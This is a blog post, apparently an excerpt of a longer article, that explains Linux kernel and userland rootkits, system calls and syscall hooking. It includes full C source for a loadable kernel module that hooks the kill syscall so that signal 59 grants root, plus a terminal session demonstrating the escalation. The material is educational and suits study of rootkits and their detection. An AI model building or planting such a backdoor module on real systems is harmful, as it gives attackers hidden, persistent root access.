The Art of Linux Kernel Rootkits

1. What is a rooktit?

A rootkit is malware whose main objective and purpose is to maintain persistence within a system, remain completely hidden, hide processes, hide directories, etc., in order to avoid detection.

This makes its detection very complex, and its mitigation even more complex, since one of the main objectives of a rootkit is to remain hidden.

A rootkit, it changes the system’s default behavior to what it wants.

1.1 What is a kernel? Userland and kernel land differences

The kernel is the core of the operating system, responsible for managing system resources and facilitating communication between hardware and software. It operates at the lowest layer of the system, for example components that operate in kernel land include the kernel itself, device drivers and kernel modules (which we call Loadable Kernel Module, short for LKM).

On the other hand, the userland or userspace is the layer where user programs and applications are executed. This is the part of the OS that interacts with the user, including browsers, text editors, games, common programs that the user uses, etc.

1.2 What is a system call?

System calls (syscalls) are fundamental in OS, they allow running processes to request services from the kernel

These services include operations such as file management, inter-process communication, process creation and management, among others.

A very practical example is when we write code in C, a simple hello world, if we analyze it with strace for example, you will notice that it uses sys_write to be able to write Hello world.

root@infect:~# cat hello.c ; ls hello
#include <stdio.h>

int main() {
    printf("Hello, World!\n");
    return 0;
}
hello
root@infect:~# strace ./hello 2>&1 | grep write

write(1, "Hello, World!\n", 14Hello, World!
root@infect:~#

You can also see that on the write side, it has a number 1, which is nothing less than an fd (file descriptor), which in this case is stdout, is the default output.

Another example is code in C to be able to rename a file to another name, in this example it is possible to see sys_rename being called.

root@infect:~# cat ex.c ; ls ex
#include <unistd.h>

int main() {
    rename("change.me", "changed.me");
    return 0;
}
ex
root@infect:~# cat change.me
teste
root@infect:~# strace ./ex 2>&1 | grep rename

rename("change.me", "changed.me")       = 0
root@infect:~# ls
changed.me  ex  ex.c
root@infect:~#

So, a system call is nothing more, nothing less than a communication interface between the user and the kernel, remembering that each syscall has a number, you can better see the syscalls in the system call table;

1.3 Rootkits userland

Rootkits in userland or userspace, some things are very similar to rootkits in kernel land, however, they are easier to detect and mitigate, as they are in userspace.

Generally, when creating a rootkit in userland, the most common technique to create a rootkit in userland is the use of LD_PRELOAD, which for example, basically consists of a .so (shared object), normally loaded in “/etc/ld.so .preload”, of course there are ways to make this detection a little more difficult, but even so, it is much easier to detect and mitigate a rootkit in userland than in kernel land.

A very interesting article that explains how creating a rootkit in userland works is from h0mbre;

1.4 Rootkits kernel land

The rootkits in kernel land, the famous LKM (Loadable Kernel Module), are certainly a headache for anyone who is going to analyze a machine infected with an LKM rootkit, they work similar to the userland rootkit, changing the system’s default behavior, to that what he wants, this is also what we call hooking syscalls.

For example, when you are a regular user, without permission to access /root, among other files and directories in which you do not have permission, you can code an LKM that hooks the kill syscall “sys_kill”, so that every time when you return to the machine with a user with the lowest privilege possible, you are root (of course, as it is an LKM, you need to be root to load it).

dumbledore@infect:~$ cat hook.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include "ftrace_helper.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("et de varginha");
MODULE_DESCRIPTION("Simples Hook na syscall kill");

static asmlinkage long(*orig_kill)(const struct pt_regs *);

static asmlinkage int hook_kill(const struct pt_regs *regs){

        void SpawnRoot(void);

        int signal;
        signal = regs->si;

        if(signal == 59){
                SpawnRoot();
                return 0;
        }

        return orig_kill(regs);
}

void SpawnRoot(void){
        struct cred *newcredentials;
        newcredentials = prepare_creds();

        if(newcredentials == NULL){
                return;
        }

        newcredentials->uid.val = 0;
        newcredentials->gid.val = 0;
        newcredentials->suid.val = 0;
        newcredentials->fsuid.val = 0;
        newcredentials->euid.val = 0;

        commit_creds(newcredentials);
}

static struct ftrace_hook hooks[] = {
                HOOK("__x64_sys_kill", hook_kill, &orig_kill),
};

static int __init mangekyou_init(void){
        int error;
        error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
        if(error){
                return error;
        }
        return 0;
}

static void __exit mangekyou_exit(void){
        fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
}

module_init(mangekyou_init);
module_exit(mangekyou_exit);
dumbledore@infect:~$

The C code above is very simple, basically it declares a pointer to the original kill syscall function, so that it can be called after the hook.

It checks if the sigkill is 59, if so, it calls the “SpawnRoot” function which basically changes its current id to 0 i.e. root, otherwise the original kill syscall function is called.

Remembering that in the code above, I am using ftrace as a syscall hooking method.

dumbledore@infect:~$ sudo insmod hook.ko
dumbledore@infect:~$ lsmod|grep hook
hook                   12288  0
dumbledore@infect:~$ id;whoami;cd /root
uid=1000(dumbledore) gid=1000(dumbledore) grupos=1000(dumbledore),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),118(lpadmin)
dumbledore
cd: permissão negada: /root
dumbledore@infect:~$ kill -59 0
dumbledore@infect:~$ whoami
root
dumbledore@infect:~$ id
uid=0(root) gid=0(root) egid=1000(dumbledore) grupos=1000(dumbledore),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),118(lpadmin)
dumbledore@infect:~$

Above, you can see that I used insmod (insert module) to load hook.ko (the .ko extension comes from kernel object, so we are inserting a kernel object).

After being inserted, I checked that the LKM was loaded using lsmod (list modules) and it was loaded successfully.

We can see that when using “kill -59 0”, it changes your current id to 0, i.e. root, and then you have root privileges.

So, this is one of the many ways to take advantage of the power of the kernel, hooking syscalls, changing the system’s default behavior to what you want.

Below are some blog links that provide really cool learning about LKM Rootkits

(Click link below to continue reading the remainder of the article)

SOURCE ARTICLE:

https://inferi.club/post/the-art-of-linux-kernel-rootkits?utm_source=tldrinfosec

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.